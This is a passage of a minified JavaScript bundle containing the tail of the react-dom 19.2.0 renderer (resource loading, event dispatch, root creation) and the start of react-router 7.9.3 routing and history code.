Wo(a){return'href="'+qa(a)+'"'}function Dc(a){return'link[rel="stylesheet"]['+a+"]"}function Nw(a){return x({},a,{"data-precedence":a.precedence,precedence:null})}function hD(a,r,l,f){a.querySelector('link[rel="preload"][as="style"]['+r+"]")?f.loading=1:(r=a.createElement("link"),f.preload=r,r.addEventListener("load",function(){return f.loading|=1}),r.addEventListener("error",function(){return f.loading|=2}),Hn(r,"link",l),Yt(r),a.head.appendChild(r))}function Qo(a){return'[src="'+qa(a)+'"]'}function Rc(a){return"script[async]"+a}function Ew(a,r,l){if(r.count++,r.instance===null)switch(r.type){case"style":var f=a.querySelector('style[data-href~="'+qa(l.href)+'"]');if(f)return r.instance=f,Yt(f),f;var v=x({},l,{"data-href":l.href,"data-precedence":l.precedence,href:null,precedence:null});return f=(a.ownerDocument||a).createElement("style"),Yt(f),Hn(f,"style",v),Qd(f,l.precedence,a),r.instance=f;case"stylesheet":v=Wo(l.href);var b=a.querySelector(Dc(v));if(b)return r.state.loading|=4,r.instance=b,Yt(b),b;f=Nw(l),(v=Za.get(v))&&Wp(f,v),b=(a.ownerDocument||a).createElement("link"),Yt(b);var _=b;return _._p=new Promise(function(L,X){_.onload=L,_.onerror=X}),Hn(b,"link",f),r.state.loading|=4,Qd(b,l.precedence,a),r.instance=b;case"script":return b=Qo(l.src),(v=a.querySelector(Rc(b)))?(r.instance=v,Yt(v),v):(f=l,(v=Za.get(b))&&(f=x({},l),Qp(f,v)),a=a.ownerDocument||a,v=a.createElement("script"),Yt(v),Hn(v,"link",f),a.head.appendChild(v),r.instance=v);case"void":return null;default:throw Error(s(443,r.type))}else r.type==="stylesheet"&&(r.state.loading&4)===0&&(f=r.instance,r.state.loading|=4,Qd(f,l.precedence,a));return r.instance}function Qd(a,r,l){for(var f=l.querySelectorAll('link[rel="stylesheet"][data-precedence],style[data-precedence]'),v=f.length?f[f.length-1]:null,b=v,_=0;_<f.length;_++){var L=f[_];if(L.dataset.precedence===r)b=L;else if(b!==v)break}b?b.parentNode.insertBefore(a,b.nextSibling):(r=l.nodeType===9?l.head:l,r.insertBefore(a,r.firstChild))}function Wp(a,r){a.crossOrigin==null&&(a.crossOrigin=r.crossOrigin),a.referrerPolicy==null&&(a.referrerPolicy=r.referrerPolicy),a.title==null&&(a.title=r.title)}function Qp(a,r){a.crossOrigin==null&&(a.crossOrigin=r.crossOrigin),a.referrerPolicy==null&&(a.referrerPolicy=r.referrerPolicy),a.integrity==null&&(a.integrity=r.integrity)}var Zd=null;function jw(a,r,l){if(Zd===null){var f=new Map,v=Zd=new Map;v.set(l,f)}else v=Zd,f=v.get(l),f||(f=new Map,v.set(l,f));if(f.has(a))return f;for(f.set(a,null),l=l.getElementsByTagName(a),v=0;v<l.length;v++){var b=l[v];if(!(b[jt]||b[Re]||a==="link"&&b.getAttribute("rel")==="stylesheet")&&b.namespaceURI!=="http://www.w3.org/2000/svg"){var _=b.getAttribute(r)||"";_=a+_;var L=f.get(_);L?L.push(b):f.set(_,[b])}}return f}function Aw(a,r,l){a=a.ownerDocument||a,a.head.insertBefore(l,r==="title"?a.querySelector("head > title"):null)}function mD(a,r,l){if(l===1||r.itemProp!=null)return!1;switch(a){case"meta":case"title":return!0;case"style":if(typeof r.precedence!="string"||typeof r.href!="string"||r.href==="")break;return!0;case"link":if(typeof r.rel!="string"||typeof r.href!="string"||r.href===""||r.onLoad||r.onError)break;switch(r.rel){case"stylesheet":return a=r.disabled,typeof r.precedence=="string"&&a==null;default:return!0}case"script":if(r.async&&typeof r.async!="function"&&typeof r.async!="symbol"&&!r.onLoad&&!r.onError&&r.src&&typeof r.src=="string")return!0}return!1}function Tw(a){return!(a.type==="stylesheet"&&(a.state.loading&3)===0)}function pD(a,r,l,f){if(l.type==="stylesheet"&&(typeof f.media!="string"||matchMedia(f.media).matches!==!1)&&(l.state.loading&4)===0){if(l.instance===null){var v=Wo(f.href),b=r.querySelector(Dc(v));if(b){r=b._p,r!==null&&typeof r=="object"&&typeof r.then=="function"&&(a.count++,a=Jd.bind(a),r.then(a,a)),l.state.loading|=4,l.instance=b,Yt(b);return}b=r.ownerDocument||r,f=Nw(f),(v=Za.get(v))&&Wp(f,v),b=b.createElement("link"),Yt(b);var _=b;_._p=new Promise(function(L,X){_.onload=L,_.onerror=X}),Hn(b,"link",f),l.instance=b}a.stylesheets===null&&(a.stylesheets=new Map),a.stylesheets.set(l,r),(r=l.state.preload)&&(l.state.loading&3)===0&&(a.count++,l=Jd.bind(a),r.addEventListener("load",l),r.addEventListener("error",l))}}var Zp=0;function xD(a,r){return a.stylesheets&&a.count===0&&tf(a,a.stylesheets),0<a.count||0<a.imgCount?function(l){var f=setTimeout(function(){if(a.stylesheets&&tf(a,a.stylesheets),a.unsuspend){var b=a.unsuspend;a.unsuspend=null,b()}},6e4+r);0<a.imgBytes&&Zp===0&&(Zp=62500*W6());var v=setTimeout(function(){if(a.waitingForImages=!1,a.count===0&&(a.stylesheets&&tf(a,a.stylesheets),a.unsuspend)){var b=a.unsuspend;a.unsuspend=null,b()}},(a.imgBytes>Zp?50:800)+r);return a.unsuspend=l,function(){a.unsuspend=null,clearTimeout(f),clearTimeout(v)}}:null}function Jd(){if(this.count--,this.count===0&&(this.imgCount===0||!this.waitingForImages)){if(this.stylesheets)tf(this,this.stylesheets);else if(this.unsuspend){var a=this.unsuspend;this.unsuspend=null,a()}}}var ef=null;function tf(a,r){a.stylesheets=null,a.unsuspend!==null&&(a.count++,ef=new Map,r.forEach(gD,a),ef=null,Jd.call(a))}function gD(a,r){if(!(r.state.loading&4)){var l=ef.get(a);if(l)var f=l.get(null);else{l=new Map,ef.set(a,l);for(var v=a.querySelectorAll("link[data-precedence],style[data-precedence]"),b=0;b<v.length;b++){var _=v[b];(_.nodeName==="LINK"||_.getAttribute("media")!=="not all")&&(l.set(_.dataset.precedence,_),f=_)}f&&l.set(null,f)}v=r.instance,_=v.getAttribute("data-precedence"),b=l.get(_)||f,b===f&&l.set(null,v),l.set(_,v),this.count++,f=Jd.bind(this),v.addEventListener("load",f),v.addEventListener("error",f),b?b.parentNode.insertBefore(v,b.nextSibling):(a=a.nodeType===9?a.head:a,a.insertBefore(v,a.firstChild)),r.state.loading|=4}}var _c={$$typeof:A,Provider:null,Consumer:null,_currentValue:V,_currentValue2:V,_threadCount:0};function vD(a,r,l,f,v,b,_,L,X){this.tag=1,this.containerInfo=a,this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.next=this.pendingContext=this.context=this.cancelPendingCommit=null,this.callbackPriority=0,this.expirationTimes=Va(-1),this.entangledLanes=this.shellSuspendCounter=this.errorRecoveryDisabledLanes=this.expiredLanes=this.warmLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Va(0),this.hiddenUpdates=Va(null),this.identifierPrefix=f,this.onUncaughtError=v,this.onCaughtError=b,this.onRecoverableError=_,this.pooledCache=null,this.pooledCacheLanes=0,this.formState=X,this.incompleteTransitions=new Map}function Dw(a,r,l,f,v,b,_,L,X,ie,pe,ve){return a=new vD(a,r,l,_,X,ie,pe,ve,L),r=1,b===!0&&(r|=24),b=ja(3,null,null,r),a.current=b,b.stateNode=a,r=_m(),r.refCount++,a.pooledCache=r,r.refCount++,b.memoizedState={element:f,isDehydrated:l,cache:r},Fm(b),a}function Rw(a){return a?(a=To,a):To}function _w(a,r,l,f,v,b){v=Rw(v),f.context===null?f.context=v:f.pendingContext=v,f=Lr(r),f.payload={element:l},b=b===void 0?null:b,b!==null&&(f.callback=b),l=Pr(a,f,r),l!==null&&(pa(l,a,r),cc(l,a,r))}function kw(a,r){if(a=a.memoizedState,a!==null&&a.dehydrated!==null){var l=a.retryLane;a.retryLane=l!==0&&l<r?l:r}}function Jp(a,r){kw(a,r),(a=a.alternate)&&kw(a,r)}function Bw(a){if(a.tag===13||a.tag===31){var r=Di(a,67108864);r!==null&&pa(r,a,67108864),Jp(a,67108864)}}function Mw(a){if(a.tag===13||a.tag===31){var r=_a();r=Le(r);var l=Di(a,r);l!==null&&pa(l,a,r),Jp(a,r)}}var nf=!0;function yD(a,r,l,f){var v=M.T;M.T=null;var b=O.p;try{O.p=2,ex(a,r,l,f)}finally{O.p=b,M.T=v}}function bD(a,r,l,f){var v=M.T;M.T=null;var b=O.p;try{O.p=8,ex(a,r,l,f)}finally{O.p=b,M.T=v}}function ex(a,r,l,f){if(nf){var v=tx(f);if(v===null)Vp(a,r,f,af,l),Ow(a,f);else if(CD(v,a,r,l,f))f.stopPropagation();else if(Ow(a,f),r&4&&-1<wD.indexOf(a)){for(;v!==null;){var b=aa(v);if(b!==null)switch(b.tag){case 3:if(b=b.stateNode,b.current.memoizedState.isDehydrated){var _=ca(b.pendingLanes);if(_!==0){var L=b;for(L.pendingLanes|=2,L.entangledLanes|=2;_;){var X=1<<31-en(_);L.entanglements[1]|=X,_&=~X}Bs(b),(At&6)===0&&(zd=be()+500,Ec(0))}}break;case 31:case 13:L=Di(b,2),L!==null&&pa(L,b,2),Ud(),Jp(b,2)}if(b=tx(f),b===null&&Vp(a,r,f,af,l),b===v)break;v=b}v!==null&&f.stopPropagation()}else Vp(a,r,f,null,l)}}function tx(a){return a=am(a),nx(a)}var af=null;function nx(a){if(af=null,a=Ua(a),a!==null){var r=c(a);if(r===null)a=null;else{var l=r.tag;if(l===13){if(a=u(r),a!==null)return a;a=null}else if(l===31){if(a=d(r),a!==null)return a;a=null}else if(l===3){if(r.stateNode.current.memoizedState.isDehydrated)return r.tag===3?r.stateNode.containerInfo:null;a=null}else r!==a&&(a=null)}}return af=a,null}function Fw(a){switch(a){case"beforetoggle":case"cancel":case"click":case"close":case"contextmenu":case"copy":case"cut":case"auxclick":case"dblclick":case"dragend":case"dragstart":case"drop":case"focusin":case"focusout":case"input":case"invalid":case"keydown":case"keypress":case"keyup":case"mousedown":case"mouseup":case"paste":case"pause":case"play":case"pointercancel":case"pointerdown":case"pointerup":case"ratechange":case"reset":case"resize":case"seeked":case"submit":case"toggle":case"touchcancel":case"touchend":case"touchstart":case"volumechange":case"change":case"selectionchange":case"textInput":case"compositionstart":case"compositionend":case"compositionupdate":case"beforeblur":case"afterblur":case"beforeinput":case"blur":case"fullscreenchange":case"focus":case"hashchange":case"popstate":case"select":case"selectstart":return 2;case"drag":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"mousemove":case"mouseout":case"mouseover":case"pointermove":case"pointerout":case"pointerover":case"scroll":case"touchmove":case"wheel":case"mouseenter":case"mouseleave":case"pointerenter":case"pointerleave":return 8;case"message":switch(Se()){case Te:return 2;case We:return 8;case ct:case Jt:return 32;case un:return 268435456;default:return 32}default:return 32}}var ax=!1,Xr=null,Wr=null,Qr=null,kc=new Map,Bc=new Map,Zr=[],wD="mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset".split(" ");function Ow(a,r){switch(a){case"focusin":case"focusout":Xr=null;break;case"dragenter":case"dragleave":Wr=null;break;case"mouseover":case"mouseout":Qr=null;break;case"pointerover":case"pointerout":kc.delete(r.pointerId);break;case"gotpointercapture":case"lostpointercapture":Bc.delete(r.pointerId)}}function Mc(a,r,l,f,v,b){return a===null||a.nativeEvent!==b?(a={blockedOn:r,domEventName:l,eventSystemFlags:f,nativeEvent:b,targetContainers:[v]},r!==null&&(r=aa(r),r!==null&&Bw(r)),a):(a.eventSystemFlags|=f,r=a.targetContainers,v!==null&&r.indexOf(v)===-1&&r.push(v),a)}function CD(a,r,l,f,v){switch(r){case"focusin":return Xr=Mc(Xr,a,r,l,f,v),!0;case"dragenter":return Wr=Mc(Wr,a,r,l,f,v),!0;case"mouseover":return Qr=Mc(Qr,a,r,l,f,v),!0;case"pointerover":var b=v.pointerId;return kc.set(b,Mc(kc.get(b)||null,a,r,l,f,v)),!0;case"gotpointercapture":return b=v.pointerId,Bc.set(b,Mc(Bc.get(b)||null,a,r,l,f,v)),!0}return!1}function Lw(a){var r=Ua(a.target);if(r!==null){var l=c(r);if(l!==null){if(r=l.tag,r===13){if(r=u(l),r!==null){a.blockedOn=r,He(a.priority,function(){Mw(l)});return}}else if(r===31){if(r=d(l),r!==null){a.blockedOn=r,He(a.priority,function(){Mw(l)});return}}else if(r===3&&l.stateNode.current.memoizedState.isDehydrated){a.blockedOn=l.tag===3?l.stateNode.containerInfo:null;return}}}a.blockedOn=null}function sf(a){if(a.blockedOn!==null)return!1;for(var r=a.targetContainers;0<r.length;){var l=tx(a.nativeEvent);if(l===null){l=a.nativeEvent;var f=new l.constructor(l.type,l);nm=f,l.target.dispatchEvent(f),nm=null}else return r=aa(l),r!==null&&Bw(r),a.blockedOn=l,!1;r.shift()}return!0}function Pw(a,r,l){sf(a)&&l.delete(r)}function SD(){ax=!1,Xr!==null&&sf(Xr)&&(Xr=null),Wr!==null&&sf(Wr)&&(Wr=null),Qr!==null&&sf(Qr)&&(Qr=null),kc.forEach(Pw),Bc.forEach(Pw)}function rf(a,r){a.blockedOn===r&&(a.blockedOn=null,ax||(ax=!0,e.unstable_scheduleCallback(e.unstable_NormalPriority,SD)))}var of=null;function zw(a){of!==a&&(of=a,e.unstable_scheduleCallback(e.unstable_NormalPriority,function(){of===a&&(of=null);for(var r=0;r<a.length;r+=3){var l=a[r],f=a[r+1],v=a[r+2];if(typeof f!="function"){if(nx(f||l)===null)continue;break}var b=aa(l);b!==null&&(a.splice(r,3),r-=3,tp(b,{pending:!0,data:v,method:l.method,action:f},f,v))}}))}function Zo(a){function r(X){return rf(X,a)}Xr!==null&&rf(Xr,a),Wr!==null&&rf(Wr,a),Qr!==null&&rf(Qr,a),kc.forEach(r),Bc.forEach(r);for(var l=0;l<Zr.length;l++){var f=Zr[l];f.blockedOn===a&&(f.blockedOn=null)}for(;0<Zr.length&&(l=Zr[0],l.blockedOn===null);)Lw(l),l.blockedOn===null&&Zr.shift();if(l=(a.ownerDocument||a).$$reactFormReplay,l!=null)for(f=0;f<l.length;f+=3){var v=l[f],b=l[f+1],_=v[Be]||null;if(typeof b=="function")_||zw(l);else if(_){var L=null;if(b&&b.hasAttribute("formAction")){if(v=b,_=b[Be]||null)L=_.formAction;else if(nx(v)!==null)continue}else L=_.action;typeof L=="function"?l[f+1]=L:(l.splice(f,3),f-=3),zw(l)}}}function Vw(){function a(b){b.canIntercept&&b.info==="react-transition"&&b.intercept({handler:function(){return new Promise(function(_){return v=_})},focusReset:"manual",scroll:"manual"})}function r(){v!==null&&(v(),v=null),f||setTimeout(l,20)}function l(){if(!f&&!navigation.transition){var b=navigation.currentEntry;b&&b.url!=null&&navigation.navigate(b.url,{state:b.getState(),info:"react-transition",history:"replace"})}}if(typeof navigation=="object"){var f=!1,v=null;return navigation.addEventListener("navigate",a),navigation.addEventListener("navigatesuccess",r),navigation.addEventListener("navigateerror",r),setTimeout(l,100),function(){f=!0,navigation.removeEventListener("navigate",a),navigation.removeEventListener("navigatesuccess",r),navigation.removeEventListener("navigateerror",r),v!==null&&(v(),v=null)}}}function sx(a){this._internalRoot=a}lf.prototype.render=sx.prototype.render=function(a){var r=this._internalRoot;if(r===null)throw Error(s(409));var l=r.current,f=_a();_w(l,f,a,r,null,null)},lf.prototype.unmount=sx.prototype.unmount=function(){var a=this._internalRoot;if(a!==null){this._internalRoot=null;var r=a.containerInfo;_w(a.current,2,null,a,null,null),Ud(),r[ot]=null}};function lf(a){this._internalRoot=a}lf.prototype.unstable_scheduleHydration=function(a){if(a){var r=Ue();a={blockedOn:null,target:a,priority:r};for(var l=0;l<Zr.length&&r!==0&&r<Zr[l].priority;l++);Zr.splice(l,0,a),l===0&&Lw(a)}};var Uw=t.version;if(Uw!=="19.2.0")throw Error(s(527,Uw,"19.2.0"));O.findDOMNode=function(a){var r=a._reactInternals;if(r===void 0)throw typeof a.render=="function"?Error(s(188)):(a=Object.keys(a).join(","),Error(s(268,a)));return a=h(r),a=a!==null?p(a):null,a=a===null?null:a.stateNode,a};var ND={bundleType:0,version:"19.2.0",rendererPackageName:"react-dom",currentDispatcherRef:M,reconcilerVersion:"19.2.0"};if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__<"u"){var cf=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!cf.isDisabled&&cf.supportsFiber)try{Yn=cf.inject(ND),Ut=cf}catch{}}return Oc.createRoot=function(a,r){if(!i(a))throw Error(s(299));var l=!1,f="",v=Kb,b=Xb,_=Wb;return r!=null&&(r.unstable_strictMode===!0&&(l=!0),r.identifierPrefix!==void 0&&(f=r.identifierPrefix),r.onUncaughtError!==void 0&&(v=r.onUncaughtError),r.onCaughtError!==void 0&&(b=r.onCaughtError),r.onRecoverableError!==void 0&&(_=r.onRecoverableError)),r=Dw(a,1,!1,null,null,l,f,null,v,b,_,Vw),a[ot]=r.current,zp(a),new sx(r)},Oc.hydrateRoot=function(a,r,l){if(!i(a))throw Error(s(299));var f=!1,v="",b=Kb,_=Xb,L=Wb,X=null;return l!=null&&(l.unstable_strictMode===!0&&(f=!0),l.identifierPrefix!==void 0&&(v=l.identifierPrefix),l.onUncaughtError!==void 0&&(b=l.onUncaughtError),l.onCaughtError!==void 0&&(_=l.onCaughtError),l.onRecoverableError!==void 0&&(L=l.onRecoverableError),l.formState!==void 0&&(X=l.formState)),r=Dw(a,1,!0,r,l??null,f,v,X,b,_,L,Vw),r.context=Rw(null),l=r.current,f=_a(),f=Le(f),v=Lr(f),v.callback=null,Pr(l,v,f),l=f,r.current.lanes=l,K(r,l),Bs(r),a[ot]=r.current,zp(a),new lf(r)},Oc.version="19.2.0",Oc}var Qw;function FD(){if(Qw)return lx.exports;Qw=1;function e(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__>"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(t){console.error(t)}}return e(),lx.exports=MD(),lx.exports}var OD=FD();/**
 * react-router v7.9.3
 *
 * Copyright (c) Remix Software Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE.md file in the root directory of this source tree.
 *
 * @license MIT
 */var rE=e=>{throw TypeError(e)},LD=(e,t,n)=>t.has(e)||rE("Cannot "+n),fx=(e,t,n)=>(LD(e,t,"read from private field"),n?n.call(e):t.get(e)),PD=(e,t,n)=>t.has(e)?rE("Cannot add the same private member more than once"):t instanceof WeakSet?t.add(e):t.set(e,n),Zw="popstate";function zD(e={}){function t(s,i){let{pathname:c,search:u,hash:d}=s.location;return lu("",{pathname:c,search:u,hash:d},i.state&&i.state.usr||null,i.state&&i.state.key||"default")}function n(s,i){return typeof i=="string"?i:ui(i)}return UD(t,n,null,e)}function ft(e,t){if(e===!1||e===null||typeof e>"u")throw new Error(t)}function gn(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function VD(){return Math.random().toString(36).substring(2,10)}function Jw(e,t){return{usr:e.state,key:e.key,idx:t}}function lu(e,t,n=null,s){return{pathname:typeof e=="string"?e:e.pathname,search:"",hash:"",...typeof t=="string"?gi(t):t,state:n,key:t&&t.key||s||VD()}}function ui({pathname:e="/",search:t="",hash:n=""}){return t&&t!=="?"&&(e+=t.charAt(0)==="?"?t:"?"+t),n&&n!=="#"&&(e+=n.charAt(0)==="#"?n:"#"+n),e}function gi(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substring(n),e=e.substring(0,n));let s=e.indexOf("?");s>=0&&(t.search=e.substring(s),e=e.substring(0,s)),e&&(t.pathname=e)}return t}function UD(e,t,n,s={}){let{window:i=document.defaultView,v5Compat:c=!1}=s,u=i.history,d="POP",m=null,h=p();h==null&&(h=0,u.replaceState({...u.state,idx:h},""));function p(){return(u.state||{idx:null}).idx}function x(){d="POP";let N=p(),T=N==null?null:N-h;h=N,m&&m({action:d,location:S.location,delta:T})}function g(N,T){d="PUSH";let E=lu(S.location,N,T);h=p()+1;let A=Jw(E,h),j=S.createHref(E);try{u.pushState(A,"",j)}catch(R){if(R instanceof DOMException&&R.name==="DataCloneError")throw R;i.location.assign(j)}c&&m&&m({action:d,location:S.location,delta:1})}function y(N,T){d="REPLACE";let E=lu(S.location,N,T);h=p();let A=Jw(E,h),j=S.createHref(E);u.replaceState(A,"",j),c&&m&&m({action:d,location:S.location,delta:0})}function w(N){return iE(N)}let S={get action(){return d},get location(){return e(i,u)},listen(N){if(m)throw new Error("A history only accepts one active listener");return i.addEventListener(Zw,x),m=N,()=>{i.removeEventListener(Zw,x),m=null}},createHref(N){return t(i,N)},createURL:w,encodeLocation(N){let T=w(N);return{pathname:T.pathname,search:T.search,hash:T.hash}},push:g,replace:y,go(N){return u.go(N)}};return S}function iE(e,t=!1){let n="http://localhost";typeof window<"u"&&(n=window.location.origin!=="null"?window.location.origin:window.location.href),ft(n,"No window.location.(origin|href) available to create URL");let s=typeof e=="string"?e:ui(e);return s=s.replace(/ $/,"%20"),!t&&s.startsWith("//")&&(s=n+s),new URL(s,n)}var Yc,eC=class{constructor(e){if(PD(this,Yc,new Map),e)for(let[t,n]of e)this.set(t,n)}get(e){if(fx(this,Yc).has(e))return fx(this,Yc).get(e);if(e.defaultValue!==void 0)return e.defaultValue;throw new Error("No value found for context")}set(e,t){fx(this,Yc).set(e,t)}};Yc=new WeakMap;var ID=new Set(["lazy","caseSensitive","path","id","index","children"]);function HD(e){return ID.has(e)}var qD=new Set(["lazy","caseSensitive","path","id","index","middleware","children"]);function $D(e){return qD.has(e)}function GD(e){return e.index===!0}function cu(e,t,n=[],s={},i=!1){return e.map((c,u)=>{let d=[...n,String(u)],m=typeof c.id=="string"?c.id:d.join("-");if(ft(c.index!==!0||!c.children,"Cannot specify children on an index route"),ft(i||!s[m],`Found a route id collision on id "${m}".  Route id's must be globally unique within Data Router usages`),GD(c)){let h={...c,...t(c),id:m};return s[m]=h,h}else{let h={...c,...t(c),id:m,children:void 0};return s[m]=h,c.children&&(h.children=cu(c.children,t,d,s,i)),h}})}function si(e,t,n="/"){return zf(e,t,n,!1)}function zf(e,t,n,s){let i=typeof t=="string"?gi(t):t,c=ss(i.pathname||"/",n);if(c==null)return null;let u=oE(e);KD(u);let d=null;for(let m=0;d==null&&m<u.length;++m){let h=rR(c);d=aR(u[m],h,s)}return d}function YD(e,t){let{route:n,pathname:s,params:i}=e;return{id:n.id,pathname:s,params:i,data:t[n.id],loaderData:t[n.id],handle:n.handle}}function oE(e,t=[],n=[],s="",i=!1){let c=(u,d,m=i,h)=>{let p={relativePath:h===void 0?u.path||"":h,caseSensitive:u.caseSensitive===!0,childrenIndex:d,route:u};if(p.relativePath.startsWith("/")){if(!p.relativePath.startsWith(s)&&m)return;ft(p.relativePath.startsWith(s),`Absolute route path "${p.relativePath}" nested under path "${s}" is not valid. An absolute child route path must start with the combined path of all its parent routes.`),p.relativePath=p.relativePath.slice(s.length)}let x=Vs([s,p.relativePath]),g=n.concat(p);u.children&&u.children.length>0&&(ft(u.index!==!0,`Index routes must not have child routes. Please remove all child routes from route path "${x}".`),oE(u.children,t,g,x,m)),!(u.path==null&&!u.index)&&t.push({path:x,score:tR(x,u.index),routesMeta:g})};return e.forEach((u,d)=>{if(u.path===""||!u.path?.includes("?"))c(u,d);else for(let m of lE(u.path))c(u,d,!0,m)}),t}function lE(e){let t=e.split("/");if(t.length===0)return[];let[n,...s]=t,i=n.endsWith("?"),c=n.replace(/\?$/,"");if(s.length===0)return i?[c,""]:[c];let u=lE(s.join("/")),d=[];return d.push(...u.map(m=>m===""?c:[c,m].join("/"))),i&&d.push(...u),d.map(m=>e.startsWith("/")&&m===""?"/":m)}function KD(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:nR(t.routesMeta.map(s=>s.childrenIndex),n.routesMeta.map(s=>s.childrenIndex)))}var XD=/^:[\w-]+$/,WD=3,QD=2,ZD=1,JD=10,eR=-2,tC=e=>e==="*";function tR(e,t){let n=e.split("/"),s=n.length;return n.some(tC)&&(s+=eR),t&&(s+=QD),n.filter(i=>!tC(i)).reduce((i,c)=>i+(XD.test(c)?WD:c===""?ZD:JD),s)}function nR(e,t){return e.length===t.length&&e.slice(0,-1).every((s,i)=>s===t[i])?e[e.length-1]-t[t.length-1]:0}function aR(e,t,n=!1){let{routesMeta:s}=e,i={},c="/",u=[];for(let d=0;d<s.length;++d){let m=s[d],h=d===s.length-1,p=c==="/"?t:t.slice(c.length)||"/",x=L0({path:m.relativePath,caseSensitive:m.caseSensitive,end:h},p),g=m.route;if(!x&&h&&n&&!s[s.length-1].route.index&&(x=L0({path:m.relativePath,caseSensitive:m.caseSensitive,end:!1},p)),!x)return null;Object.assign(i,x.params),u.push({params:i,pathname:Vs([c,x.pathname]),pathnameBase:cR(Vs([c,x.pathnameBase])),route:g}),x.pathnameBase!=="/"&&(c=Vs([c,x.pathnameBase]))}return u}function L0(e,t){typeof e=="string"&&(e={path:e,caseSensitive:!1,end:!0});let[n,s]=sR(e.path,e.caseSensitive,e.end),i=t.match(n);if(!i)return null;let c=i[0],u=c.replace(/(.)\/+$/,"$1"),d=i.slice(1);return{params:s.reduce((h,{paramName:p,isOptional:x},g)=>{if(p==="*"){let w=d[g]||"";u=c.slice(0,c.length-w.length).replace(/(.)\/+$/,"$1")}const y=d[g];return x&&!y?h[p]=void 0:h[p]=(y||"").replace(/%2F/g,"/"),h},{}),pathname:c,pathnameBase:u,pattern:e}}function sR(e,t=!1,n=!0){gn(e==="*"||!e.endsWith("*")||e.endsWith("/*"),`Route path "${e}" will be treated as if it were "${e.replace(/\*$/,"/*")}" because the \`*\` character must always follow a \`/\` in the pattern. To get rid of this warning, please change the route path to "${e.replace(/\*$/,"/*")}".`);let s=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(u,d,m)=>(s.push({paramName:d,isOptional:m!=null}),m?"/?([^\\/]+)?":"/([^\\/]+)")).replace(/\/([\w-]+)\?(\/|$)/g,"(/$1)?$2");return e.endsWith("*")?(s.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),s]}function rR(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return gn(!1,`The URL path "${e}" could not be decoded because it is a malformed URL segment. This is probably due to a bad percent encoding (${t}).`),e}}function ss(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,s=e.charAt(n);return s&&s!=="/"?null:e.slice(n)||"/"}function iR({basename:e,pathname:t}){return t==="/"?e:Vs([e,t])}function oR(e,t="/"){let{pathname:n,search:s="",hash:i=""}=typeof e=="string"?gi(e):e;return{pathname:n?n.startsWith("/")?n:lR(n,t):t,search:uR(s),hash:dR(i)}}function lR(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function hx(e,t,n,s){return`Cannot include a '${e}' character in a manually specified \`to.${t}\` field [${JSON.stringify(s)}].  Please separate it out to the \`to.${n}\` field. Alternatively you may provide the full path as a string in <Link to="..."> and the router will parse it for you.`}function cE(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function dh(e){let t=cE(e);return t.map((n,s)=>s===t.length-1?n.pathname:n.pathnameBase)}function fh(e,t,n,s=!1){let i;typeof e=="string"?i=gi(e):(i={...e},ft(!i.pathname||!i.pathname.includes("?"),hx("?","pathname","search",i)),ft(!i.pathname||!i.pathname.includes("#"),hx("#","pathname","hash",i)),ft(!i.search||!i.search.includes("#"),hx("#","search","hash",i)));let c=e===""||i.pathname==="",u=c?"/":i.pathname,d;if(u==null)d=n;else{let x=t.length-1;if(!s&&u.startsWith("..")){let g=u.split("/");for(;g[0]==="..";)g.shift(),x-=1;i.pathname=g.join("/")}d=x>=0?t[x]:"/"}let m=oR(i,d),h=u&&u!=="/"&&u.endsWith("/"),p=(c||u===".")&&n.endsWith("/");return!m.pathname.endsWith("/")&&(h||p)&&(m.pathname+="/"),m}var Vs=e=>e.join("/").replace(/\/\/+/g,"/"),cR=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),uR=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,dR=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e,P0=class{constructor(e,t,n,s=!1){this.status=e,this.statusText=t||"",this.internal=s,n instanceof Error?(this.data=n.toString(),this.error=n):this.data=n}};function uu(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}var uE=["POST","PUT","PATCH","DELETE"],fR=new Set(uE),hR=["GET",...uE],mR=new Set(hR),pR=new Set([301,302,303,307,308]),xR=new Set([307,308]),mx={state:"idle",location:void 0,formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0},gR={state:"idle",data:void 0,formMethod:void 0,formAction:void 0,formEncType:void 0,formData:void 0,json:void 0,text:void 0},Lc={state:"unblocked",proceed:void 0,reset:void 0,location:void 0},vR=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,bv=e=>vR.test(e),yR=e=>({hasErrorBoundary:!!e.hasErrorBoundary}),dE="remix-router-transitions",fE=Symbol("ResetLoaderData");function bR(e){const t=e.window?e.window:typeof window<"u"?window:void 0,n=typeof t<"u"&&typeof 